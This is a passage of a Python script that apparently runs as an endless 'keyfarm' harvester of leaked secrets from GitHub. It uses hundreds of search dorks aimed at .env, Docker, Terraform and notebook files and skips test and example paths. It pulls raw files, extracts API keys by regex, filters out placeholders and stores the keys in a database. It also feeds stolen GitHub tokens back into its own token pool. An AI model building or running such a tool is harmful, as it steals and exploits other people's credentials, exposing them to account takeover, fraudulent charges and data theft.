"MODAL_TOKEN_SECRET filename:.env", "SERPER_API_KEY filename:.env", "SERPAPI_API_KEY filename:.env", "VOYAGE_API_KEY filename:.env", "EXA_API_KEY filename:.env", "BASETEN_API_KEY filename:.env", "SUNO_API_KEY filename:.env", "suno_api_key filename:.env", "PIKA_API_KEY filename:.env", "LANGFUSE_SECRET_KEY filename:.env", "LANGFUSE_PUBLIC_KEY filename:.env", "sk-lf- filename:.env", "pk-lf- filename:.env", "UPSTAGE_API_KEY filename:.env", "SAMBANOVA_API_KEY filename:.env", "AI21_API_KEY filename:.env", "LEPTON_API_TOKEN filename:.env", "NEARAI_API_KEY filename:.env", "TENCENT_API_KEY filename:.env", "FLY_API_TOKEN filename:.env", # v8: ApiScanExtract port wave (2026-10-19) — Chinese URL-anchored "\"open.bigmodel.cn\" \"sk-\" language:python", "\"open.bigmodel.cn\" \"sk-\" extension:env", "\"siliconflow\" \"sk-\" language:python", "\"siliconflow\" \"sk-\" extension:env", "\"moonshot.cn\" \"sk-\" extension:env", "\"baichuan-ai\" \"sk-\" extension:env", "\"lingyiwanwu\" \"sk-\" extension:env", "\"stepfun.com\" \"sk-\" extension:env", "\"volces.com\" \"ark\" \"sk-\" extension:env", "\"intern-ai.org.cn\" \"sk-\" extension:env", ("\"minimax.chat\" \"Bea" "rer eyJ\" extension:env"), # GPU clouds "\"RPv2:\" extension:env NOT test", "\"RPv2:\" language:python NOT test", "\"sk_live_\" lambdalabs extension:env NOT test", "\"sf_\" shadeform extension:env NOT test", "\"dop_v1_\" extension:env NOT test", "\"SCW\" scaleway extension:env NOT test", "\"LTAI\" alibaba extension:env NOT test", "\"AKID\" tencent extension:env NOT test", # Relay/gateway master keys "\"LITELLM_MASTER_KEY\" \"sk-\" NOT test", "\"LITELLM_MASTER_KEY\" extension:env NOT test", "\"one-api\" \"SESSION_SECRET\" NOT test", "\"new-api\" \"ROOT_KEY\" NOT test", "\"new-api\" \"REDIS_CONN\" filename:.env NOT test", "\"fastgpt\" \"ROOT_KEY\" NOT test", "\"dify\" \"SECRET_KEY\" NOT test", "\"helicone\" \"sk-\" extension:env NOT test", "\"portkey\" \"pk-\" extension:env NOT test", "\"langsmith\" \"lsv2_pt_\" NOT test", "lsv2_pt_ extension:env NOT test", # AI frameworks "\"from langchain\" \"OPENAI_API_KEY\" extension:py", "\"from llama_index\" \"OPENAI_API_KEY\" extension:ipynb", "\"crewai\" \"OPENAI_API_KEY\" extension:py", "\"autogen\" \"AZURE_OPENAI\" language:python", "\"langflow\" \"API_KEY\" NOT test", "\"from autogen\" \"OPENAI_API_KEY\" extension:py", "\"from crewai\" \"OPENAI_API_KEY\" extension:py", # Jupyter notebook combos "extension:ipynb \"sk-proj-\" OR \"sk-ant-\" OR \"AIza\" OR \"OPENAI_API_KEY\"", "extension:ipynb \"os.environ\" \"OPENAI_API_KEY\"", "extension:ipynb \"getpass\" \"sk-\"", "extension:ipynb \"api_key\" \"sk-\" OR \"AIza\" OR \"gsk_\"", "extension:ipynb \"from transformers\" \"HUGGINGFACE\" OR \"hf_\"", # Docker / deploy configs "filename:docker-compose.yml \"OPENAI_API_KEY\" OR \"ANTHROPIC_API_KEY\" OR \"GEMINI\"", "filename:docker-compose.yml \"LITELLM_MASTER_KEY\" OR \"sk-\" OR \"AIza\"", "filename:Dockerfile \"ENV\" \"API_KEY\" NOT test", "filename:appsettings.json \"ApiKey\" OR \"OpenAI\" NOT test", # Config/secret files "filename:settings.py \"API_KEY\" \"sk-proj-\" NOT test", "filename:credentials.json \"private_key\" NOT test", "filename:secrets.json \"OPENAI\" OR \"ANTHROPIC\" NOT test", "filename:api-keys.json \"sk-\" OR \"AIza\" NOT test", # Telegram/Discord bots "\"telegram\" \"OPENAI_API_KEY\" language:python NOT test", "\"discord\" \"ANTHROPIC_API_KEY\" language:javascript NOT test", "\"aiogram\" \"sk-proj-\" extension:py", "\"python-telegram-bot\" \"OPENAI_API_KEY\"", # SaaS boilerplates "\"saas-starter\" \"OPENAI_API_KEY\" language:typescript", "\"nextjs-boilerplate\" \"API_KEY\" NOT test", "\"supabase\" \"openai\" \"sk-\" filename:.env", "\"gradio\" \"HUGGINGFACE\" OR \"OPENAI\" extension:py", "\"streamlit\" \"OPENAI_API_KEY\" extension:py", "\"fastapi\" \"OPENAI_API_KEY\" extension:py NOT test", # Regional clouds "\"scaleway\" \"SCW\" extension:env NOT test", "\"hetzner\" \"api\" extension:env NOT test", "\"ovh\" \"api_key\" extension:env NOT test", # Voice / speech "\"xi-api-key\" \"sk_\" NOT test NOT example", "filename:.env DEEPGRAM_API_KEY NOT test", "filename:.env ASSEMBLYAI_API_KEY NOT test", "filename:.env PLAY_HT_API_KEY NOT test", "filename:.env REV_ACCESS_TOKEN NOT test", "filename:.env GLADIA_API_KEY NOT test", "filename:.env SPEECHMATICS_API_KEY NOT test", # Image / video gen "\"sk-\" \"stability.ai\" NOT test NOT example", "filename:.env LEONARDO_API_KEY NOT test", "filename:.env RUNWAYML_API_SECRET NOT test", "filename:.env RUNWAYML_API_KEY NOT test", "filename:.env LUMA_API_KEY NOT test", "filename:.env KLING_API_KEY NOT test", "filename:.env HEYGEN_API_KEY NOT test", "filename:.env SYNTHESIA_API_KEY NOT test", "filename:.env IDEOGRAM_API_KEY NOT test", "\"FAL_KEY\" extension:env NOT test", "filename:.env CLIPDROP_API_KEY NOT test", # RAG / vector DB "filename:.env TAVILY_API_KEY NOT test NOT example", "\"tvly-\" extension:env NOT test", "filename:.env ZILLIZ_API_KEY NOT test", "filename:.env UPSTASH_VECTOR_TOKEN NOT test", "\"mongodb+srv://\" \"cluster0\" extension:env NOT test", # Browser / scraping "filename:.env FIRECRAWL_API_KEY NOT test NOT example", "\"fc-\" \"firecrawl\" NOT test NOT example", "filename:.env BROWSERBASE_API_KEY NOT test", "filename:.env SCRAPINGBEE_API_KEY NOT test", "filename:.env ZENROWS_API_KEY NOT test", "filename:.env BRIGHTDATA_TOKEN NOT test", "\"apify_api_\" extension:env NOT test", "filename:.env OXYLABS_API_KEY NOT test", # LLM ops / observability "filename:.env HELICONE_API_KEY NOT test", "filename:.env PORTKEY_API_KEY NOT test", "filename:.env ARIZE_API_KEY NOT test", "filename:.env BRAINTRUST_API_KEY NOT test", "filename:.env HUMANLOOP_API_KEY NOT test", # Code AI / agents / workflow "filename:.env CODEIUM_API_KEY NOT test", "filename:.env TABNINE_API_KEY NOT test", "\"sgp_\" extension:env NOT test", "filename:.env CREWAI_API_KEY NOT test", "\"ww_\" extension:env NOT test", "filename:.env COMPOSIO_API_KEY NOT test", "filename:.env N8N_API_KEY NOT test", "filename:.env FLOWISE NOT test", "filename:.env LANGFLOW_API_KEY NOT test", # Synthetic data / fine-tuning "filename:.env GRETEL_API_KEY NOT test", "filename:.env SCALE_API_KEY NOT test", "filename:.env LABELBOX_API_KEY NOT test", "filename:.env MOSTLY_AI_API_KEY NOT test", # High-priority paths (production/billing configs) "path:production/ filename:.env sk- NOT test NOT example", "path:prod/ filename:.env OPENAI_API_KEY NOT test", "path:deploy/ filename:.env sk-proj- NOT example", "path:config/ filename:.env ANTHROPIC_API_KEY NOT test", "path:secrets/ filename:.env sk- NOT example NOT staging", "path:private/ filename:.env AIza NOT test", "path:credentials/ filename:.json sk-proj- NOT example", "filename:docker-compose.yml OPENAI_API_KEY NOT test NOT example", "filename:docker-compose.yaml ANTHROPIC_API_KEY NOT test", "filename:docker-compose.yml sk-proj- NOT example", "filename:docker-compose.yaml GEMINI_API_KEY NOT test", "filename:secret.yaml OPENAI_API_KEY NOT test", "filename:secret.yaml sk-proj- NOT example", "filename:secret.json ANTHROPIC_API_KEY NOT test", "filename:.tf OPENAI_API_KEY NOT test NOT example", "filename:.tf ANTHROPIC_API_KEY NOT test", "filename:main.tf sk-proj- NOT example", "filename:variables.tf AIza NOT test", "filename:config.yaml OPENAI_API_KEY ANTHROPIC_API_KEY NOT test", "filename:settings.py OPENAI_API_KEY NOT test NOT example", "filename:settings.json sk-proj- sk-ant- NOT example", "filename:constants.py OPENAI_API_KEY ANTHROPIC_API_KEY NOT test", "filename:constants.json sk-proj- NOT example", "filename:secrets.toml sk- NOT test NOT example", "filename:litellm_config.yaml sk- NOT test", "filename:.litellm sk-proj- NOT example", "filename:proxy_config.json sk-proj- NOT test", "filename:gateway_config.yaml sk- NOT example", # xAI / Cerebras (absent in this list before v8) "filename:.env XAI_API_KEY NOT test NOT example", "xai- extension:env NOT test", "xai- language:python NOT test NOT example", "XAI_API_KEY xai- NOT test", "filename:.env CEREBRAS_API_KEY NOT test NOT example", "csk- extension:env NOT test", # Non-.env broad coverage "hf_token language:python NOT test NOT example", "sk-ant-api03 language:typescript NOT test NOT example", "sk-ant-api03 language:go NOT test NOT example", "\"x-api-key\" \"sk-ant-\" language:python NOT test", "\"x-api-key\" \"sk-ant-\" language:javascript NOT test", "sk-proj- language:go NOT test NOT example NOT mock", "sk-proj- language:rust NOT test NOT example NOT mock", "sk-proj- language:java NOT test NOT example NOT mock", "sk-proj- language:ruby NOT test NOT example NOT mock", ("\"Authorization\" \"Bea" "rer sk-proj-\" NOT test NOT example"), "AIzaSy language:python NOT test NOT example NOT dev NOT demo", "AIzaSy language:javascript NOT test NOT example NOT dev", "GEMINI_API_KEY AIzaSy NOT test NOT example", "GOOGLE_AI_KEY AIzaSy NOT test NOT example", "sk-or-v1- language:python NOT test NOT example", "sk-or-v1- language:javascript NOT test NOT example", "sk-or-v1- filename:.env NOT test", "OPENROUTER_API_KEY sk-or-v1- NOT test", "gsk_ language:python NOT test NOT example", "GROQ_API_KEY gsk_ NOT test", # OR-combos (max families per request, 256-char limit respected) "\"sk-proj-\" OR \"sk-ant-\" OR \"pplx-\" OR \"gsk_\" OR \"hf_\" OR \"r8_\" OR \"xai-\" filename:.env", "filename:.env OPENAI_API_KEY OR ANTHROPIC_API_KEY OR GEMINI_API_KEY OR DEEPSEEK_API_KEY", "filename:.env.local \"sk-proj-\" OR \"AIza\" OR \"sk-ant-\"", "\"sk-proj-\" extension:env NOT path:test NOT path:example", "\"sk-proj-\" OR \"sk-ant-\" OR \"AIza\" OR \"gsk_\" OR \"pplx-\" OR \"hf_\" OR \"xai-\" OR \"sk-or-v1-\" OR \"csk-\" OR \"va-\" OR \"jina_\" OR \"fw_\" OR \"r8_\" OR \"lep_\" OR \"esecret_\" filename:.env", "\"sk-proj-\" OR \"sk-ant-\" OR \"AIza\" OR \"gsk_\" OR \"pplx-\" OR \"hf_\" OR \"xai-\" OR \"sk-or-v1-\" OR \"csk-\" OR \"fw_\" OR \"r8_\" OR \"lep_\" extension:env NOT path:test NOT path:example", ] DORKS = list(dict.fromkeys(DORKS)) # ponytail: literal waves duplicated 30 entries; dedupe once here from key_patterns import PATTERNS GARBAGE = ("xxxx", "your", "YOUR", "EXAMPLE", "example", "n0tr3al", "AQUI", "REEMPLAZA", "INSERT", "FAKE", "fake", "Fake", "test", "Test", "dddd", "12345", "CHANGE", "deadbeef", "fffffff", "0000000000", # PatternForge noise-audit additions "changeme", "CHANGEME", "your_key", "your_api_key", "your-client-id", "your-secret", "PUT_YOUR", "sample", "SAMPLE", "placeholder", "PLACEHOLDER", "mfa_test", "test_token", "demo_key", "api-key-demo", "REPLACE", "REPLACE_ME", "REPLACE_WITH", "TODO", "XXXXXXXX", "1234567890abcdef", "skip_", "0000000000000000") seen_files = set() REST = 90 def log(msg): line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n" print(line, flush=True) with open(LOG, "a", encoding="utf-8", errors="replace") as f: f.write(line) class PATPool: def __init__(self): self.tokens = [] self.dead = set() self._i = 0 self._lock = threading.Lock() try: with open(TOKENS_FILE, encoding="utf-8") as f: for line in f: t = line.strip() if t.startswith("ghp_") and t not in self.tokens: self.tokens.append(t) except Exception: pass try: # primary gh CLI token r = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True, timeout=5) t = r.stdout.strip() if t and t not in self.tokens: self.tokens.append(t) except Exception: pass def next(self): with self._lock: live = [t for t in self.tokens if t not in self.dead] if not live: return "" t = live[self._i % len(live)] self._i += 1 return t def mark_dead(self, t): with self._lock: self.dead.add(t) log(f" PAT retired: {t[:10]}…") def add(self, t): t = t.strip() if not t.startswith("ghp_") or t in self.tokens: return False with self._lock: self.tokens.append(t) try: with open(TOKENS_FILE, "a", encoding="utf-8") as f: f.write(t + "\n") except Exception: pass log(f" POOL +PAT {t[:10]}… (pool={len(self.tokens)})") return True POOL = PATPool() def rest_search(query, page): tok = POOL.next() if not tok: return None, "no tokens" try: r = _SESSION.get( API, params={"q": query, "per_page": 100, "page": page, "sort": "indexed", "order": "desc"}, headers={"Authorization": f"Bearer {tok}", "Accept": "application/vnd.github.text-match+json", "User-Agent": "keyfarm"}, timeout=30) if r.status_code == 401: POOL.mark_dead(tok) return None, "401" if r.status_code in (403, 429): return None, "rate" if r.status_code != 200: return None, f"HTTP {r.status_code}" return r.json().get("items", []), "ok" except Exception as e: return None, repr(e) def cycle(db, seen): cur = db.cursor() cur.execute("SELECT val FROM keys") seen |= {r[0] for r in cur.fetchall()} lock = threading.Lock() new_total, failures = 0, 0 def work(q): nonlocal new_total, failures nq = 0 for page in (1, 2, 3, 4, 5, 6): items, st = rest_search(q, page) if items is None: if st == "rate": time.sleep(10) items, st = rest_search(q, page) if items is None: with lock: failures += 1 return 0 for h in items: repo = h.get("repository", {}).get("full_name", "?") path = h.get("path", "") texts = [json.dumps(h.get("text_matches", []))] fp = (repo, path) with lock: if fp not in seen_files: seen_files.add(fp) fetch_full = True else: fetch_full = False if fetch_full: try: raw = _SESSION.get( f"https://raw.githubusercontent.com/{repo}/HEAD/{path}", timeout=20) if raw.status_code == 200 and len(raw.text) < 2_000_000: texts.append(raw.text) except Exception: pass for text in texts: for prov, rx in PATTERNS: for key in rx.findall(text): if isinstance(key, tuple): key = key[0] if key in seen or any(g in key for g in GARBAGE) \ or len(key) < 30: continue with lock: seen.add(key) cur.execute( "INSERT INTO keys " "(hash, val, prov, status, found, repo) " "VALUES (?,?,?,?,?,?) " "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo " "WHERE keys.status IN ('DEAD','ERR')", (hashlib.sha1(key.encode()).hexdigest()[:16], key, prov, "NEW", "gh-eternal", f"{repo}/{path}")) new_total += 1 nq += 1 if prov == "GITHUB_PAT": POOL.add(key) time.sleep(2.5) return nq with ThreadPoolExecutor(max_workers=N_THREADS) as ex: futs = {ex.submit(work, q): q for q in DORKS} for fut in as_completed(futs): q = futs[fut] try: log(f"{q!r}: +{fut.result()} new") except Exception as e: log(f"{q!r} worker error: {e!r}") db.commit() log(f"CYCLE done: +{new_total} new, {failures} rate-failures; resting {REST}s") return new_total def main(): log(f"=== gh eternal v2 START pid={__import__('os').getpid()} " f"tokens={len(POOL.tokens)} threads={N_THREADS} dorks={len(DORKS)} ===") db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None) while True: try: cur = db.cursor() cur.execute("SELECT val FROM keys") seen = {r[0] for r in cur.fetchall()} cycle(db, seen) except Exception as e: log(f"cycle error (continuing): {e!r}") time.sleep(REST) if __name__ == "__main__": try: main() except KeyboardInterrupt: sys.exit(0)